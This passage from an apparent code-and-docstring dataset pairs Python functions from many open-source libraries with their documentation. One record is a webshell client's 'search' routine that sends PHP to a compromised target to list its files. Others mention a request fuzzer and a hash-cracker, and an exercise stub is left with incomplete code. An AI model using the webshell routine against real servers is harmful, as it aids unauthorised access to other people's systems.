available(self) -> bool:Return the availability of the device."} {"code": "def _gen_mobilenet_v3(variant, channel_multiplier=1.0, pretrained=False, **kwargs):\n if 'small' in variant:\n num_features = 1024\n if 'minimal' in variant:\n act_layer = 'relu'", "nl": "Creates a MobileNet-V3 large/small/minimal models.Ref impl: https://github.com/tensorflow/models/blob/master/research/slim/nets/mobilenet/mobilenet_v3.pyPaper: https://arxiv.org/abs/1905.02244Args:channel_multiplier: multiplier to number of channels per layer."} {"code": "def run(pattern: str, web_file_path: str = \".\"):\n web_file_path = str(web_file_path)\n res = send(get_php(web_file_path, pattern))\n if (not res):\n return\n files = res.r_text.strip()\n if (len(files)):\n print(f\"\\n{color.green('Search Result:')}\")\n if (web_file_path == \"./\"):\n web_file_path = \"\"\n for f in files.split(\"\\n\"):\n print(\" \" + f)\n print()\n else:\n print(f\"\\n{color.red('File not exist / Search error')}\\n\")", "nl": "searchSearch file(s) from target system (Support regex expression).eg: search {pattern} {web_file_path=\".\"}"} {"code": "def requests(self):\n return list(self._requests)\n\n @property", "nl": " Returns the list of requests being fuzzed@return: The list of requests being fuzzed@rtype : List[Request]"} {"code": "def vertices2landmarks(vertices, faces, lmk_faces_idx, lmk_bary_coords):\n batch_size, num_verts = vertices.shape[:2]\n device = vertices.device\n\n lmk_faces = torch.index_select(faces, 0, lmk_faces_idx.view(-1)).view(\n batch_size, -1, 3)\n\n lmk_faces += torch.arange(\n batch_size, dtype=torch.long, device=device).view(-1, 1, 1) * num_verts\n\n lmk_vertices = vertices.view(-1, 3)[lmk_faces].view(\n batch_size, -1, 3, 3)\n\n landmarks = torch.einsum('blfi,blf->bli', [lmk_vertices, lmk_bary_coords])\n return landmarks\n\n", "nl": " Calculates landmarks by barycentric interpolationParameters----------vertices: torch.tensor BxVx3, dtype = torch.float32The tensor of input verticesfaces: torch.tensor Fx3, dtype = torch.longThe faces of the meshlmk_faces_idx: torch.tensor L, dtype = torch.longThe tensor with the indices of the faces used to calculate thelandmarks.lmk_bary_coords: torch.tensor Lx3, dtype = torch.float32The tensor of barycentric coordinates that are used to interpolatethe landmarksReturns-------landmarks: torch.tensor BxLx3, dtype = torch.float32The coordinates of the landmarks for each mesh in the batch"} {"code": "def clone_using_queue(self, queue: asyncio.Queue) -> ChannelT[T]:\n return self.app.stream(self, **kwargs)\n", "nl": "Create clone of this channel using specific queue instance.return self.clone(queue=queue, is_iterator=True)def _clone(self, **kwargs: Any) -> ChannelT[T]:return type(self)(**{**self._clone_args(), **kwargs})def _clone_args(self) -> Mapping:# How to create a copy of this channel.return {'app': self.app,'loop': self.loop,'schema': self.schema,'key_type': self.key_type,'value_type': self.value_type,'maxsize': self.maxsize,'root': self._root if self._root is not None else self,'queue': None,'active_partitions': self.active_partitions,}def stream(self, **kwargs: Any) -> StreamT[T]:Create stream reading from this channel."} {"code": "def get_deps_dir():\n frame = inspect.stack()[1]\n module = inspect.getmodule(frame[0])\n p = os.path.dirname(module.__file__)\n nesting_limit = 10\n index = 0\n while 'deps' not in os.listdir(p):\n if '.git' in os.listdir(p):\n raise MissingDepsDirError(\"Could not find a deps dir for git \"\n \"repo %s\" % p)\n if index >= nesting_limit:\n raise MissingDepsDirError(\"Could not find a deps dir after \"\n \"looking %s parent directories\" %\n nesting_limit)\n p = os.path.dirname(p)\n index += 1\n\n return os.path.join(p, 'deps')\n\n", "nl": "For a given test provider, report the appropriate deps dir.The little inspect trick is used to avoid callers having to dosys.modules[] tricks themselves."} {"code": "def postprocess(self, tempname, filename):\n\n if os.name == 'posix':\n mode = ((os.stat(tempname).st_mode) | 0o555) & 0o7777\n os.chmod(tempname, mode)\n", "nl": "Perform any platform-specific postprocessing of `tempname`This is where Mac header rewrites should be done; other platforms don'thave anything special they should do.Resource providers should call this method ONLY after successfullyextracting a compressed resource. They must NOT call it on resourcesthat are already in the filesystem.`tempname` is the current (temporary) name of the file, and `filename`is the name it will be renamed to by the caller after this routinereturns."} {"code": "def environment_list(self, io_handler):\n headers = (\"Environment Variable\", \"Value\")\n\n lines = [item for item in os.environ.items()]\n\n lines.sort()\n\n io_handler.write(self._utils.make_table(headers, lines))\n\n @staticmethod", "nl": "Lists the framework process environment variables"} {"code": "def relative_error(indices):\n\n\n rel_err =\n\n\n return rel_err\n\nif __name__ == '__main__':\n inputs = sys.stdin.read().split(\",\")\n lst=[int(i) for i in inputs]\n output = relative_error(lst)\n print(f\"{output}\")", "nl": "Calculate the relative error of the quantum counting estimationArgs:- indices (list(int)): A list of bits representing the elements that map to 1.Returns:- (float): relative error"} {"code": "def clear_mappers():\n mapperlib._CONFIGURE_MUTEX.acquire()\n try:\n while _mapper_registry:\n try:\n mapper, b = _mapper_registry.popitem()\n mapper.dispose()\n except KeyError:\n pass\n finally:\n mapperlib._CONFIGURE_MUTEX.release()\n\nfrom . import strategy_options\n\njoinedload = strategy_options.joinedload._unbound_fn\njoinedload_all = strategy_options.joinedload._unbound_all_fn\ncontains_eager = strategy_options.contains_eager._unbound_fn", "nl": "Remove all mappers from all classes.This function removes all instrumentation from classes and disposesof their associated mappers. Once called, the classes are unmappedand can be later re-mapped with new mappers.:func:`.clear_mappers` is *not* for normal use, as there is literally novalid usage for it outside of very specific testing scenarios. Normally,mappers are permanent structural components of user-defined classes, andare never discarded independently of their class. If a mapped classitself is garbage collected, its mapper is automatically disposed of aswell. As such, :func:`.clear_mappers` is only for usage in test suitesthat re-use the same classes with different mappings, which is itself anextremely rare use case - the only such use case is in fact SQLAlchemy'sown test suite, and possibly the test suites of other ORM extensionlibraries which intend to test various combinations of mapper constructionupon a fixed set of classes."} {"code": "def visit(self, node=None):\n if node is None:\n self.load_basetypes()\n for child_name, child in self._root.children():\n if getattr(child, 'name', None) == self.name:\n if isinstance(child, pycparser.c_ast.FuncDef):\n raise TypeError(self._type_error_msg.format(\n self.name, 'function', 'PycparserFuncDescriber'))\n if isinstance(child, pycparser.c_ast.Struct):\n raise TypeError(self._type_error_msg.format(\n self.name, 'struct', 'PycparserClassDescriber'))\n self.desc['type'] = self.type(child)\n break\n else:\n super(PycparserVarDescriber, self).visit(node)\n\nclass PycparserFuncDescriber(PycparserBaseDescriber):\n\n _funckey = 'signatures'\n", "nl": "Visits the variable definition node and all sub-nodes, generatingthe description dictionary as it goes.Parameters----------node : element tree node, optionalThe element tree node to start from. If this is None, then thetop-level variable node is found and visited."} {"code": "def _network_interfaces_for_instance(gcloud, instance):\n logger = logging.getLogger(__name__)\n logger.debug('Testing locating test project instance=%s', instance)\n context = ExecutionContext()\n gcloud_response = gcloud.describe_resource(context, 'instances', instance)\n if not gcloud_response.ok():\n logger.error(\n 'Could not find instance=%s in project=%s, zone=%s: %s',\n instance, gcloud.project, gcloud.zone, gcloud_response.error)\n return None, gcloud_response\n\n try:\n doc = json.JSONDecoder().decode(gcloud_response.output)\n except (TypeError, ValueError):\n logger.error('Invalid JSON in response: %s', gcloud_response)\n return None, gcloud_response\n\n try:\n if doc['status'] != 'RUNNING':\n logger.error(\n 'instance=%s project=%s zone=%s is not RUNNING: %s',\n instance, gcloud.project, gcloud.zone, doc['status'])\n return None, gcloud_response\n except KeyError:\n logger.warning('Could not check VM status:%s', gcloud_response)\n\n try:\n iface_list = doc['networkInterfaces']\n except KeyError:\n logger.error('JSON has no networkInterfaces: %s', doc)\n return None, gcloud_response\n\n return iface_list, gcloud_response\n\n", "nl": "Determine VM network interfaces for a given GCP instance.Args:gcloud: [GCloudHelper] bound to the instance's project and zone.instance: [string] The name of the instance to lookup.Returns:list of network interfaces (IP addresses) or NoneRaises:Exception if instance information could not be determined."} {"code": "def add_to_path(path):\n if not os.path.isdir(path):\n raise RuntimeError('Tried to add nonexisting path')\n", "nl": "Adds an entry to sys.path if it's not already there. This doesnot append it but moves it to the front so that we can be sure itis loaded."} {"code": "def extract_node(code, module_name=\"\"):\n", "nl": "Parses some Python code as a module and extracts a designated AST node.Statements:To extract one or more statement nodes, append #@ to the end of the lineExamples:>>> def x():>>> def y():>>> return 1 #@The return statement will be extracted.>>> class X(object):>>> def meth(self): #@>>> passThe function object 'meth' will be extracted.Expressions:To extract arbitrary expressions, surround them with the fakefunction call __(...). After parsing, the surrounded expressionwill be returned and the whole AST (accessible via the returnednode's parent attribute) will look like the function call wasnever there in the first place.Examples:>>> a = __(1)The const node will be extracted.>>> def x(d=__(foo.bar)): passThe node containing the default argument will be extracted.>>> def foo(a, b):>>> return 0 < __(len(a)) < bThe node containing the function call 'len' will be extracted.If no statements or expressions are selected, the last toplevelstatement will be returned.If the selected statement is a discard statement, (i.e. an expressionturned into a statement), the wrapped expression is returned instead.For convenience, singleton lists are unpacked.:param str code: A piece of Python code that is parsed asa module. Will be passed through textwrap.dedent first.:param str module_name: The name of the module.:returns: The designated node from the parse tree, or a list of nodes.:rtype: astroid.bases.NodeNG, or a list of nodes."} {"code": "def _guess_vc_legacy(self):", "nl": "Locate Visual C++ for versions prior to 2017.Return------strpath"} {"code": "def str_to_decimal(s: str, maxlen: int = DECIMAL_MAXLEN) -> Optional[Decimal]:\n if s is None:\n return None\n if len(s) > maxlen:\n raise ValueError(\n f'string of length {len(s)} is longer than limit ({maxlen})')\n v = Decimal(s)\n if not v.is_finite():\n raise ValueError(f'Illegal value in decimal: {s!r}')\n return v\n\n", "nl": "Convert string to :class:`~decimal.Decimal`.Args:s (str): Number to convert.maxlen (int): Max length of string. Default is 100.Raises:ValueError: if length exceeds maximum length, or if value is nota valid number (e.g. Inf, NaN or sNaN).Returns:Decimal: Converted number."} {"code": "def is_value_generator(candidate_values):\n VALUE_GENERATOR_WRAPPER_FUNC_NAME = \"value_generator_wrapper\"\n return isinstance(candidate_values, types.FunctionType) and\\\n candidate_values.__name__ == VALUE_GENERATOR_WRAPPER_FUNC_NAME\n\nclass CandidateValues(object):", "nl": " Returns whether the argument is a value generator"} {"code": "def get_device_vdoms(self, device):\n if not self.adom:\n dev_url = \"/dvmdb/device/{}/vdom\".format(device)\n else:\n dev_url = \"{}device/{}/vdom\".format(self.dvmdb_url, device)\n body = dict(method=\"get\", params=[dict(url=dev_url)], verbose=1, session=self.session)\n response = self.make_request(body)\n\n return response.json()[\"result\"][0].get(\"data\", [])\n", "nl": "This method is used to retrieve the VDOMs associated with a device managed by FortiManager.:param device: The device to retrieve the HA status from.:return: The json response from the request to retrieve the HA status. An empty list is returned if the requestdoes not return any data."} {"code": "def isSupported (self, alg):\n\n\t\tif alg in self.supported_algorithm:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n", "nl": "Return True if HASHCRACK can crack this type of algorithm andFalse if it cannot."} {"code": "def _is_missing_value(self, value):\n eps = 0.0001\n if abs(value - self.nodata_value) < eps:\n return True\n else:\n return False", "nl": "Checks if value is equal to the value specified for missign date:return: True|False"} {"code": "def _test_single_column_output(self):\n start_date = self.pipeline_start_date\n end_date = self.pipeline_end_date\n\n alternating_mask = (AssetIDPlusDay() % 2).eq(0)\n cascading_mask = AssetIDPlusDay() < (self.sids[-1] + start_date.day)\n\n class SingleColumnOutput(CustomFactor):\n window_length = 1\n inputs = [self.col]\n window_safe = True\n ndim = 1\n", "nl": "Tests for custom factors that compute a 1D out."} {"code": "def test_timeuuid_io(self):\n t0 = self.TimeUUIDTest.create(test_id=0)\n t1 = self.TimeUUIDTest.get(test_id=0)\n\n assert t1.timeuuid.time == t1.timeuuid.time\n\nclass TestInteger(BaseCassEngTestCase):\n class IntegerTest(Model):\n", "nl": "ensures that:return:"} {"code": "def make_opts(keys, options):\n return ' '.join([(('--%s %s' % (k, options.__dict__[k]\n if options.__dict__[k] != True else ''))\n if not isinstance(k,tuple) else\n ' '.join([('--%s %s' % (k[0], v))\n for v in options.__dict__[k[0]]]))\n for k in keys\n if options.__dict__[k if not isinstance(k,tuple)\n else k[0]]])\n", "nl": "Turn options object back into a string of command line options"} {"code": "def replace_node(self, node_from: _BaseNode, node_to: _BaseNode) -> None:\n\n Args:\n context: A DslContext that has been put to the registry.\n Raises:\n ValueError: If the context is unknown to the registry.\n Returns:\n Nodes that belong to the context, possibly empty list.\n \"\"\"", "nl": "Replaces one node instance to another in a registry.self._check_mutable()if node_from not in self._all_nodes:raise ValueError(f'{node_from} does not exist in pipeline registry.')self._all_nodes[self._all_nodes.index(node_from)] = node_tofor context in self._all_contexts:nodes = self._nodes_by_context[context]if node_from in nodes:nodes[nodes.index(node_from)] = node_tocontext.replace_node(node_from, node_to)context.validate(nodes)def get_nodes(self, context: dsl_context.DslContext) -> List[_BaseNode]:Gets all BaseNodes that belongs to the context."} {"code": "def _fix_compile_args(self, output_dir, macros, include_dirs):\n if output_dir is None:\n output_dir = self.output_dir\n elif not isinstance(output_dir, str):\n raise TypeError, \"'output_dir' must be a string or None\"\n\n if macros is None:\n macros = self.macros\n elif isinstance(macros, list):\n macros = macros + (self.macros or [])\n else:\n raise TypeError, \"'macros' (if supplied) must be a list of tuples\"\n\n if include_dirs is None:\n include_dirs = self.include_dirs\n elif isinstance(include_dirs, (list, tuple)):\n include_dirs = list (include_dirs) + (self.include_dirs or [])\n else:\n raise TypeError, \\\n \"'include_dirs' (if supplied) must be a list of strings\"\n\n return output_dir, macros, include_dirs\n", "nl": "Typecheck and fix-up some of the arguments to the 'compile()'method, and return fixed-up values. Specifically: if 'output_dir'is None, replaces it with 'self.output_dir'; ensures that 'macros'is a list, and augments it with 'self.macros'; ensures that'include_dirs' is a list, and augments it with 'self.include_dirs'.Guarantees that the returned values are of the correct type,i.e. for 'output_dir' either string or None, and for 'macros' and'include_dirs' either list or None."} {"code": "def process_event(self, event: PlayerInput) -> Optional[PlayerInput]:\n handled_event = False\n\n if event.button in (buttons.B, buttons.BACK, intentions.MENU_CANCEL):\n handled_event = True\n if event.pressed and self.escape_key_exits:\n self.close()\n\n disabled = True\n if hasattr(self, \"menu_items\") and event.pressed:\n disabled = all(not i.enabled for i in self.menu_items)\n valid_change = (\n event.pressed\n and self.state == \"normal\"\n and not disabled\n and self.menu_items\n )\n\n if event.button in (buttons.A, intentions.SELECT):\n handled_event = True\n if valid_change:\n self.menu_select_sound.play()\n selected = self.get_selected_item()\n assert selected\n self.on_menu_selection(selected)\n\n if event.button in (\n buttons.UP,\n buttons.DOWN,\n buttons.LEFT,\n buttons.RIGHT,\n ):\n handled_event = True\n if valid_change:\n index = self.menu_items.determine_cursor_movement(\n self.selected_index,\n event,\n )\n if not self.selected_index == index:\n self.change_selection(index)\n\n if event.button in (buttons.MOUSELEFT,):\n handled_event = True\n if self.touch_aware and valid_change:\n mouse_pos = event.value\n assert mouse_pos != 0\n\n try:\n self.menu_items.update_rect_from_parent()\n except AttributeError:\n pass\n else:\n mouse_pos = [\n a - b\n for a, b in zip(\n mouse_pos,\n self.menu_items.rect.topleft,\n )\n ]\n\n for index, item in enumerate(\n [i for i in self.menu_items if i.enabled]\n ):\n if item.rect.collidepoint(mouse_pos):\n self.change_selection(index)\n selected = self.get_selected_item()\n assert selected\n self.on_menu_selection(selected)\n\n return event if not handled_event else None\n", "nl": "Handles player input events.This function is only called when the player provides input suchas pressing a key or clicking the mouse.Since this is part of a chain of event handlers, the return valuefrom this method becomes input for the next one. Returning Nonesignifies that this method has dealt with an event and wants itexclusively. Return the event and others can use it as well.You should return None if you have handled input here.Returns:Passed input if not handled here. ``None`` otherwise."} {"code": "def __init__(self, cfg, mode, num_retries=10):\n assert mode in [\n \"train\",\n \"val\",\n \"test\",\n ], \"Split '{}' not supported for Something-Something V2\".format(mode)\n self.mode = mode\n self.cfg = cfg\n\n self._video_meta = {}\n self._num_retries = num_retries\n if self.mode in [\"train\", \"val\"]:\n self._num_clips = 1\n elif self.mode in [\"test\"]:\n self._num_clips = (\n cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS\n )\n\n logger.info(\"Constructing Something-Something V2 {}...\".format(mode))\n self._construct_loader()\n", "nl": "Load Something-Something V2 data (frame paths, labels, etc. ) to a givenDataset object. The dataset could be downloaded from Something-Somethingofficial website (https://20bn.com/datasets/something-something).Please see datasets/DATASET.md for more information about the data format.Args:cfg (CfgNode): configs.mode (string): Options includes `train`, `val`, or `test` mode.For the train and val mode, the data loader will take datafrom the train or val set, and sample one clip per video.For the test mode, the data loader will take data from test set,and sample multiple clips per video.num_retries (int): number of retries for reading frames from disk."} {"code": "def _transform_select_for_nested_joins(self, select):\n cloned = {}\n column_translate = [{}]\n", "nl": "Rewrite any \"a JOIN (b JOIN c)\" expression as\"a JOIN (select * from b JOIN c) AS anon\", to supportdatabases that can't parse a parenthesized join correctly(i.e. sqlite < 3.7.16)."} {"code": "def get_boundary(vertices):\n x1, y1, x2, y2, x3, y3, x4, y4 = vertices\n x_min = min(x1, x2, x3, x4)\n x_max = max(x1, x2, x3, x4)\n y_min = min(y1, y2, y3, y4)\n y_max = max(y1, y2, y3, y4)\n return x_min, x_max, y_min, y_max\n", "nl": "get the tight boundary around given verticesInput:vertices: vertices of text region Output:the boundary"} {"code": "def __repr__(self):\n if not isinstance(other, V1alpha1Mutex):\n return False\n\n return self.to_dict() == other.to_dict()\n", "nl": "For `print` and `pprint`return self.to_str()def __eq__(self, other):Returns true if both objects are equal"} {"code": "def get_remain(self, pname):\n return {key: self.get_remain(key) for key in self.total.keys()}\n", "nl": "get remaining time of processif self.modes[pname] == CUM:remain = self.total[pname] - sum(self.history[pname])else:remain = self.total[pname]return remaindef get_all_remain(self):get remaining time of process"} {"code": "def listStaticNames(self):\n return self.entities.keys()\n\n", "nl": "Retrieve a list of the names of entities that I store references to.See getStaticEntity."} {"code": "def getTeamName(self, team):\n return PartyGlobals.TeamActivityTeams.getString(team)\n\n", "nl": "Parametersteam is the team index (see PartyGlobals.TeamActivityTeams)ReturnsThe team name"} {"code": "def hermvander(x, deg):\n ideg = int(deg)\n if ideg != deg:\n raise ValueError(\"deg must be integer\")\n if ideg < 0:\n raise ValueError(\"deg must be non-negative\")\n\n x = np.array(x, copy=0, ndmin=1) + 0.0\n dims = (ideg + 1,) + x.shape\n dtyp = x.dtype\n v = np.empty(dims, dtype=dtyp)\n v[0] = x*0 + 1\n if ideg > 0:\n x2 = x*2\n v[1] = x2\n for i in range(2, ideg + 1):\n v[i] = (v[i-1]*x2 - v[i-2]*(2*(i - 1)))\n return np.moveaxis(v, 0, -1)\n\n", "nl": "Pseudo-Vandermonde matrix of given degree.Returns the pseudo-Vandermonde matrix of degree `deg` and sample points`x`. The pseudo-Vandermonde matrix is defined by.. math:: V[..., i] = H_i(x),where `0 <= i <= deg`. The leading indices of `V` index the elements of`x` and the last index is the degree of the Hermite polynomial.If `c` is a 1-D array of coefficients of length `n + 1` and `V` is thearray ``V = hermvander(x, n)``, then ``np.dot(V, c)`` and``hermval(x, c)`` are the same up to roundoff. This equivalence isuseful both for least squares fitting and for the evaluation of a largenumber of Hermite series of the same degree and sample points.Parameters----------x : array_likeArray of points. The dtype is converted to float64 or complex128depending on whether any of the elements are complex. If `x` isscalar it is converted to a 1-D array.deg : intDegree of the resulting matrix.Returns-------vander : ndarrayThe pseudo-Vandermonde matrix. The shape of the returned matrix is``x.shape + (deg + 1,)``, where The last index is the degree of thecorresponding Hermite polynomial. The dtype will be the same asthe converted `x`.Examples-------->>> from numpy.polynomial.hermite import hermvander>>> x = np.array([-1, 0, 1])>>> hermvander(x, 3)array([[ 1., -2., 2., 4.],[ 1., 0., -2., -0.],[ 1., 2., 2., -4.]])"} {"code": "def run_master(self, master_msg):\n self._activated = True\n\n intermediates = [(0, master_msg)]\n for i in range(self.nr_slaves):\n intermediates.append(self._queue.get())\n\n results = self._master_callback(intermediates)\n assert results[0][0] == 0, 'The first result should belongs to the master.'\n\n for i, res in results:\n if i == 0:\n continue\n self._registry[i].result.put(res)\n\n for i in range(self.nr_slaves):\n assert self._queue.get() is True\n\n return results[0][1]\n\n @property", "nl": "Main entry for the master device in each forward pass.The messages were first collected from each devices (including the master device), and thenan callback will be invoked to compute the message to be sent back to each devices(including the master device).Args:master_msg: the message that the master want to send to itself. This will be placed as the firstmessage when calling `master_callback`. For detailed usage, see `_SynchronizedBatchNorm` for an example.Returns: the message to be sent back to the master device."} {"code": "def popitem(self, last=True):\n if not self:\n raise KeyError('dictionary is empty')\n root = self.__root\n if last:\n link = root.prev\n link_prev = link.prev\n link_prev.next = root\n root.prev = link_prev\n else:\n link = root.next\n link_next = link.next\n root.next = link_next\n link_next.prev = root\n key = link.key\n del self.__map[key]\n value = dict.pop(self, key)\n return key, value\n", "nl": "Remove and return a (key, value) pair from the dictionary.Pairs are returned in LIFO order if last is true or FIFO order if false."} {"code": "def surrogateescape_handler(exc):\n mystring = exc.object[exc.start:exc.end]\n\n try:\n if isinstance(exc, UnicodeDecodeError):\n decoded = replace_surrogate_decode(mystring)\n elif isinstance(exc, UnicodeEncodeError):\n decoded = replace_surrogate_encode(mystring)\n else:\n raise exc\n except NotASurrogateError:\n raise exc\n return (decoded, exc.end)\n\n\nclass NotASurrogateError(Exception):\n pass\n\n", "nl": "Pure Python implementation of the PEP 383: the \"surrogateescape\" errorhandler of Python 3. Undecodable bytes will be replaced by a Unicodecharacter U+DCxx on decoding, and these are translated into theoriginal bytes on encoding."} {"code": "def __init__(self, args: ApplicationConfiguration):\n super().__init__(args=args, logger_name=__name__, name=\"exec\")\n", "nl": "Initialize the ``:exec`` action.:param args: The current settings for the application"} {"code": "def regions_table(self, request, pk=None):\n image = self._get_api_image(request, pk)\n xmlFile = image.label_description_file\n xmlFile.open()\n root = ET.fromstring(xmlFile.read())\n xmlFile.close()\n lines = root.find('data').findall('label')\n if lines[0].get(\"index\"):\n indices = [int(line.get('index')) + 1 for line in lines]\n else:\n indices = [int(line.find('index').text) for line in lines]\n if line.text:\n regions = [line.text.split(\n '(')[0].replace(\"'\", '').rstrip(' ').lower() for line in lines]\n else:\n regions = [line.find(\"name\").text.split(\n '(')[0].replace(\"'\", '').rstrip(' ').lower() for line in lines]\n return Response(\n {'aaData': zip(indices, regions)})\n\n @list_route()", "nl": "A wrapper around standard retrieve() request that formatsthe object for the regions_table plugin."} {"code": "def predict(self, preprocessed_inputs, _):\n features_list = self._feature_extractor(preprocessed_inputs)\n\n predictions = {}\n for head_name, heads in self._prediction_head_dict.items():\n predictions[head_name] = [\n head(feature) for (feature, head) in zip(features_list, heads)\n ]\n predictions['preprocessed_inputs'] = preprocessed_inputs\n\n self._batched_prediction_tensor_names = predictions.keys()\n return predictions\n", "nl": "Predicts CenterNet prediction tensors given an input batch.Feature extractors are free to produce predictions from multiple featuremaps and therefore we return a dictionary mapping strings to lists.E.g. the hourglass backbone produces two feature maps.Args:preprocessed_inputs: a [batch, height, width, channels] float32 tensorrepresenting a batch of images.Returns:prediction_dict: a dictionary holding predicted tensors with'preprocessed_inputs' - The input image after being resized andpreprocessed by the feature extractor.'object_center' - A list of size num_feature_outputs containingfloat tensors of size [batch_size, output_height, output_width,num_classes] representing the predicted object center heatmap logits.'box/scale' - [optional] A list of size num_feature_outputs holdingfloat tensors of size [batch_size, output_height, output_width, 2]representing the predicted box height and width at each outputlocation. This field exists only when object detection task isspecified.'box/offset' - [optional] A list of size num_feature_outputs holdingfloat tensors of size [batch_size, output_height, output_width, 2]representing the predicted y and x offsets at each output location.'$TASK_NAME/keypoint_heatmap' - [optional] A list of sizenum_feature_outputs holding float tensors of size [batch_size,output_height, output_width, num_keypoints] representing the predictedkeypoint heatmap logits.'$TASK_NAME/keypoint_offset' - [optional] A list of sizenum_feature_outputs holding float tensors of size [batch_size,output_height, output_width, 2] representing the predicted keypointoffsets at each output location.'$TASK_NAME/keypoint_regression' - [optional] A list of sizenum_feature_outputs holding float tensors of size [batch_size,output_height, output_width, 2 * num_keypoints] representing thepredicted keypoint regression at each output location.'segmentation/heatmap' - [optional] A list of size num_feature_outputsholding float tensors of size [batch_size, output_height,output_width, num_classes] representing the mask logits.'densepose/heatmap' - [optional] A list of size num_feature_outputsholding float tensors of size [batch_size, output_height,output_width, num_parts] representing the mask logits for each part.'densepose/regression' - [optional] A list of size num_feature_outputsholding float tensors of size [batch_size, output_height,output_width, 2 * num_parts] representing the DensePose surfacecoordinate predictions.Note the $TASK_NAME is provided by the KeypointEstimation namedtupleused to differentiate between different keypoint tasks."} {"code": "def _load_vg_annotation(self, index):\n width, height = self._get_size(index)\n filename = self._annotation_path(index)\n tree = ET.parse(filename)\n objs = tree.findall('object')\n num_objs = len(objs)\n\n boxes = np.zeros((num_objs, 4), dtype=np.uint16)\n gt_classes = np.zeros((num_objs), dtype=np.int32)\n gt_attributes = np.zeros((num_objs, 16), dtype=np.int32)\n overlaps = np.zeros((num_objs, self.num_classes), dtype=np.float32)\n seg_areas = np.zeros((num_objs), dtype=np.float32)\n\n obj_dict = {}\n ix = 0\n for obj in objs:\n obj_name = obj.find('name').text.lower().strip()\n if obj_name in self._class_to_ind:\n bbox = obj.find('bndbox')\n x1 = max(0,float(bbox.find('xmin').text))\n y1 = max(0,float(bbox.find('ymin').text))\n x2 = min(width-1,float(bbox.find('xmax').text))\n y2 = min(height-1,float(bbox.find('ymax').text))\n if x2 < x1 or y2 < y1:\n print('Failed bbox in %s, object %s' % (filename, obj_name))\n x1 = 0\n y1 = 0\n x2 = width-1\n y2 = width-1\n cls = self._class_to_ind[obj_name]\n obj_dict[obj.find('object_id').text] = ix\n atts = obj.findall('attribute')\n n = 0\n for att in atts:\n att = att.text.lower().strip()\n if att in self._attribute_to_ind:\n gt_attributes[ix, n] = self._attribute_to_ind[att]\n n += 1\n if n >= 16:\n break\n boxes[ix, :] = [x1, y1, x2, y2]\n gt_classes[ix] = cls\n overlaps[ix, cls] = 1.0\n seg_areas[ix] = (x2 - x1 + 1) * (y2 - y1 + 1)\n ix += 1\n gt_classes = gt_classes[:ix]\n gt_attributes = gt_attributes[:ix, :]\n\n overlaps = scipy.sparse.csr_matrix(overlaps)\n gt_attributes = scipy.sparse.csr_matrix(gt_attributes)\n\n rels = tree.findall('relation')\n num_rels = len(rels)\n gt_relations = set()\n for rel in rels:\n pred = rel.find('predicate').text\n if pred:\n pred = pred.lower().strip()\n if pred in self._relation_to_ind:\n try:\n triple = []\n triple.append(obj_dict[rel.find('subject_id').text])\n triple.append(self._relation_to_ind[pred])\n triple.append(obj_dict[rel.find('object_id').text])\n gt_relations.add(tuple(triple))\n except:\n pass\n gt_relations = np.array(list(gt_relations), dtype=np.int32)\n\n return {'boxes' : boxes,\n 'gt_classes': gt_classes,\n 'gt_attributes' : gt_attributes,\n 'gt_relations' : gt_relations,\n 'gt_overlaps' : overlaps,\n 'width' : width,\n 'height': height,\n 'flipped' : False,\n 'seg_areas' : seg_areas}\n", "nl": "Load image and bounding boxes info from XML file in the PASCAL VOCformat."} {"code": "def as_posix(self):\n f = self._flavour\n return str(self).replace(f.sep, '/')\n", "nl": "Return the string representation of the path with forward (/)slashes."} {"code": "def _GetRpo(self, blr):\n bucket_url = blr.storage_url\n formatted_rpo_value = rpo_value\n if formatted_rpo_value not in VALID_RPO_VALUES:\n raise CommandException(\n 'Invalid value for rpo set.'\n ' Should be one of {}'.format(VALID_RPO_VALUES_STRING))\n\n bucket_metadata = apitools_messages.Bucket(rpo=formatted_rpo_value)\n\n self.logger.info('Setting rpo %s for %s' %\n (formatted_rpo_value, str(bucket_url).rstrip('/')))\n\n self.gsutil_api.PatchBucket(bucket_url.bucket_name,\n bucket_metadata,\n fields=['rpo'],\n provider=bucket_url.scheme)\n return 0\n", "nl": "Gets the rpo setting for a bucket.bucket_url = blr.storage_urlbucket_metadata = self.gsutil_api.GetBucket(bucket_url.bucket_name,fields=['rpo'],provider=bucket_url.scheme)rpo = bucket_metadata.rpobucket = str(bucket_url).rstrip('/')print('%s: %s' % (bucket, rpo))def _SetRpo(self, blr, rpo_value):Sets the rpo setting for a bucket."} {"code": "def _add_action(self, notification, device, action, label, callback, *args):\n action = action + ':' + device.device_file\n on_action_click = run_bg(lambda *_: callback(*args))\n try:\n notification.add_action(action, label, on_action_click, None)\n except TypeError:\n notification.add_action(action, label, on_action_click, None, None)\n notification.connect('closed', self._notifications.remove)\n self._notifications.append(notification)\n", "nl": "Show an action button button in mount notifications.Note, this only works with some libnotify services."} {"code": "def test_summary(self):\n self.result.addSkip(self.test, 'some reason')\n self.result.done()\n output = self.stream.getvalue().splitlines()[-1]\n prefix = 'PASSED '\n self.assertTrue(output.startswith(prefix))\n self.assertEqual(output[len(prefix):].strip(), '(skips=1)')\n\n", "nl": "The summary of a successful run with skips indicates that the testsuite passed and includes the number of skips."} {"code": "def FrameworkDir32(self):\n guess_fw = os.path.join(self.WinDir, r'Microsoft.NET\\Framework')\n", "nl": "Microsoft .NET Framework 32bit directory."} {"code": "def _format_multicolumn(self, row: List[str], ilevels: int) -> List[str]:\n row2 = list(row[:ilevels])\n ncol = 1\n coltext = \"\"\n", "nl": "rCombine columns belonging to a group to a single multicolumn entryaccording to self.multicolumn_formate.g.:a & & & b & c &will become\\multicolumn{3}{l}{a} & b & \\multicolumn{2}{l}{c}"} {"code": "def create_connection(host, port):\n for addr_info in socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM):\n af, stype, proto, cn, sa = addr_info\n soc = None\n try:\n soc = socket.socket(af, stype, proto)\n soc.settimeout(TCP_TIMEOUT)\n soc.connect(sa)\n return soc\n except socket.error:\n if socket:\n soc.close()\n\n raise socket.error, \"Cannot make connection to %s:%s\" % (host, port)\n\n", "nl": "A simplified version of socket.create_connection from Python 2.6."} {"code": "def has_backend(hasher, backend=ANY, safe=False):\n hasher = _resolve(hasher)\n\n if backend == ANY:\n if not hasattr(hasher, \"get_backend\"):\n return True\n\n try:\n hasher.get_backend()\n return True\n except exc.MissingBackendError:\n return False\n\n if hasattr(hasher, \"has_backend\"):\n if safe and 